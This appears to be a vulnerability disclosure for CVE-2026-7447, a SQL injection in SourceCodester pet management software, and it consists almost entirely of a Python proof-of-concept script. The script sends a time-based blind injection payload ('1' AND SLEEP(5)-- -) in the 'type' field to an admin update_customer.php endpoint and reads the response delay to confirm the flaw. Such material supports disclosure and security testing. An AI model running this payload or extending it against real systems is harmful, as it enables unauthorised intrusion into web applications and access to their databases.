CVE-2026-7447 SourceCodester宠物管理软件SQL注入漏洞

import requests # Target URL example target_url = "http://example.com/admin/update_customer.php" # Payload for time-based blind SQL injection # Injecting into the 'type' parameter payload = { "id": "1", "type": "1' AND SLEEP(5)-- -", "length": "100", "business": "test" } try: # Send the POST request response = requests.post(target_url, data=payload, timeout=10) # Check if the response time indicates execution delay if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability confirmed: SQL Injection detected via time delay.") else: print("[-] Vulnerability not detected or patched.") except requests.RequestException as e: print(f"Error connecting to target: {e}")